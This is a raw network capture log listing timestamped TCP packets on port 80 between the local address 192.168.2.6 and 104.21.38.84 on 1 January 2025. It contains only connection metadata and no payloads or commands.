Jan 1, 2025 16:02:31.860085964 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.077609062 CET	80	62511	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:32.125721931 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.218167067 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.218820095 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.223144054 CET	80	62511	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:32.223262072 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.223562002 CET	80	62519	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:32.223623037 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.223767042 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.228512049 CET	80	62519	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:32.580070019 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.584866047 CET	80	62519	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:32.677578926 CET	80	62519	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:32.720906973 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:32.945198059 CET	80	62519	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.000711918 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.185386896 CET	62525	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.185506105 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.190191984 CET	80	62525	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.190275908 CET	62525	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.190458059 CET	80	62519	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.190540075 CET	62519	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.190606117 CET	62525	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.195379019 CET	80	62525	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.438905001 CET	62525	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.439887047 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.444679022 CET	80	62528	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.444783926 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.444891930 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.449604034 CET	80	62528	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.486567974 CET	80	62525	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.564018011 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.568286896 CET	80	62525	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.568352938 CET	62525	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.568809032 CET	80	62529	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.568896055 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.568968058 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.573702097 CET	80	62529	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.797719002 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.805866957 CET	80	62528	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.805880070 CET	80	62528	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.899545908 CET	80	62528	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.922678947 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:33.929766893 CET	80	62529	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:33.940989017 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.014158010 CET	80	62529	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.063246965 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.165894985 CET	80	62528	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.219651937 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.283144951 CET	80	62529	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.328847885 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.404726028 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.404742956 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.405582905 CET	62535	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.409816980 CET	80	62528	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.409908056 CET	62528	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.410126925 CET	80	62529	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.410207987 CET	62529	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.410379887 CET	80	62535	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.410774946 CET	62535	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.410774946 CET	62535	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.415646076 CET	80	62535	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.766614914 CET	62535	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:34.771496058 CET	80	62535	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.854932070 CET	80	62535	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:34.906964064 CET	62535	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:35.119611025 CET	80	62535	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:35.172595978 CET	62535	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:35.258855104 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:35.263626099 CET	80	62541	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:35.263725042 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:35.263842106 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:35.269598007 CET	80	62541	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:35.637654066 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:35.642465115 CET	80	62541	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:35.736032009 CET	80	62541	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:35.782516956 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.010420084 CET	80	62541	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.056051970 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.141963005 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.142633915 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.147497892 CET	80	62547	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.147567987 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.147686958 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.151767015 CET	80	62541	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.151823997 CET	62541	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.152481079 CET	80	62547	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.500844002 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.505606890 CET	80	62547	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.602008104 CET	80	62547	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.656966925 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.862668037 CET	80	62547	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.906965971 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.985877991 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.986473083 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.990838051 CET	80	62547	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.990987062 CET	62547	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.991302013 CET	80	62556	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:36.991364002 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.991485119 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:36.996187925 CET	80	62556	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:37.344645977 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.349904060 CET	80	62556	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:37.445312977 CET	80	62556	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:37.485109091 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.715370893 CET	80	62556	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:37.766385078 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.843565941 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.844954967 CET	62535	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.845545053 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.848530054 CET	80	62556	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:37.850056887 CET	62556	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.850344896 CET	80	62562	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:37.850588083 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.850720882 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:37.855492115 CET	80	62562	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:38.204386950 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.209184885 CET	80	62562	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:38.297251940 CET	80	62562	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:38.344480038 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.556778908 CET	80	62562	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:38.610097885 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.688632965 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.689312935 CET	62570	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.693633080 CET	80	62562	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:38.693680048 CET	62562	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.694093943 CET	80	62570	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:38.694175959 CET	62570	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.694333076 CET	62570	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:38.699059010 CET	80	62570	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.047736883 CET	62570	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.052573919 CET	80	62570	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.136064053 CET	80	62570	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.173577070 CET	62570	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.174176931 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.178708076 CET	80	62570	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.178761005 CET	62570	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.178981066 CET	80	62571	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.179111958 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.179245949 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.184021950 CET	80	62571	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.294012070 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.298870087 CET	80	62575	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.298933983 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.299036026 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.303787947 CET	80	62575	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.532218933 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.537333012 CET	80	62571	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.537405968 CET	80	62571	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.641855955 CET	80	62571	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.657166004 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.661987066 CET	80	62575	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.688251972 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.742878914 CET	80	62575	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.813231945 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:39.931041956 CET	80	62571	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:39.985112906 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.016599894 CET	80	62575	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.063234091 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.138503075 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.138503075 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.139270067 CET	62583	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.143569946 CET	80	62571	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.143866062 CET	80	62575	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.143934965 CET	62575	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.143937111 CET	62571	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.144129038 CET	80	62583	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.144262075 CET	62583	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.146033049 CET	62583	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.150865078 CET	80	62583	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.501323938 CET	62583	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.506148100 CET	80	62583	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.589988947 CET	80	62583	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.641485929 CET	62583	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.839793921 CET	80	62583	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.891385078 CET	62583	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.970201969 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.975008011 CET	80	62589	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:40.975214958 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.975280046 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:40.980057001 CET	80	62589	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:41.328991890 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.333839893 CET	80	62589	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:41.429148912 CET	80	62589	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:41.469497919 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.596493959 CET	80	62589	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:41.641388893 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.717363119 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.718075037 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.723721981 CET	80	62595	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:41.723805904 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.723862886 CET	80	62589	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:41.723901987 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.723934889 CET	62589	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:41.729595900 CET	80	62595	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:42.078960896 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.083805084 CET	80	62595	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:42.169867039 CET	80	62595	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:42.219535112 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.434268951 CET	80	62595	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:42.485172033 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.564162970 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.564604998 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.569437981 CET	80	62601	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:42.569587946 CET	80	62595	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:42.569696903 CET	62595	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.569713116 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.575678110 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.580398083 CET	80	62601	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:42.923135996 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:42.928006887 CET	80	62601	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.022933960 CET	80	62601	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.063261986 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.192013979 CET	80	62601	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.235141993 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.320801973 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.321717024 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.325783968 CET	80	62601	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.325835943 CET	62601	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.326564074 CET	80	62607	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.326622009 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.326776028 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.333467960 CET	80	62607	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.672934055 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:43.680071115 CET	80	62607	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.790270090 CET	80	62607	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:43.844505072 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.058361053 CET	80	62607	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.110162020 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.186965942 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.187685966 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.192063093 CET	80	62607	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.192142963 CET	62607	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.192481041 CET	80	62613	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.192544937 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.192681074 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.197448969 CET	80	62613	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.547753096 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.552500963 CET	80	62613	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.646042109 CET	80	62613	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.688296080 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.903242111 CET	80	62613	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.939510107 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.953897953 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.955173016 CET	80	62619	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:44.955256939 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.964205980 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:44.968943119 CET	80	62619	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.030790091 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.035588026 CET	80	62620	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.036143064 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.036222935 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.040967941 CET	80	62620	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.324645996 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.329456091 CET	80	62619	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.329519033 CET	80	62619	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.391571045 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.396887064 CET	80	62620	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.427402020 CET	80	62619	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.469621897 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.490514994 CET	80	62620	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.532105923 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.699793100 CET	80	62619	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.750865936 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.778443098 CET	80	62620	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.828989029 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.905996084 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.906011105 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.906079054 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.906881094 CET	62626	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.912854910 CET	80	62619	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.913286924 CET	80	62626	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.913299084 CET	80	62613	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.913309097 CET	80	62620	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:45.913373947 CET	62619	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.913419962 CET	62613	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.913454056 CET	62626	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.913463116 CET	62620	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.913611889 CET	62626	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:45.918987036 CET	80	62626	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:46.266894102 CET	62626	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:46.272654057 CET	80	62626	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:46.357459068 CET	80	62626	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:46.407022953 CET	62626	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:46.621115923 CET	80	62626	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:46.672646046 CET	62626	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:46.748291016 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:46.754878044 CET	80	62632	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:46.754956007 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:46.755052090 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:46.761023045 CET	80	62632	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:47.110240936 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.115590096 CET	80	62632	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:47.228429079 CET	80	62632	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:47.276880026 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.493441105 CET	80	62632	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:47.547667980 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.607211113 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.607850075 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.612185001 CET	80	62632	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:47.612272024 CET	62632	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.612596035 CET	80	62643	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:47.612761021 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.612899065 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.617655039 CET	80	62643	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:47.969753027 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:47.974559069 CET	80	62643	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.053347111 CET	80	62643	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.094542027 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.312625885 CET	80	62643	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.360143900 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.450814009 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.451503992 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.455866098 CET	80	62643	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.455915928 CET	62643	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.456365108 CET	80	62649	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.456420898 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.456559896 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.461322069 CET	80	62649	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.813548088 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:48.818464041 CET	80	62649	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.901920080 CET	80	62649	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:48.953958035 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.160979986 CET	80	62649	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:49.163564920 CET	62626	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.203908920 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.281238079 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.281841993 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.286307096 CET	80	62649	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:49.286369085 CET	62649	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.286689043 CET	80	62656	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:49.286773920 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.286887884 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.291678905 CET	80	62656	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:49.641509056 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:49.646383047 CET	80	62656	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:49.758861065 CET	80	62656	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:49.813330889 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.027173996 CET	80	62656	104.21.38.84	192.168.2.6
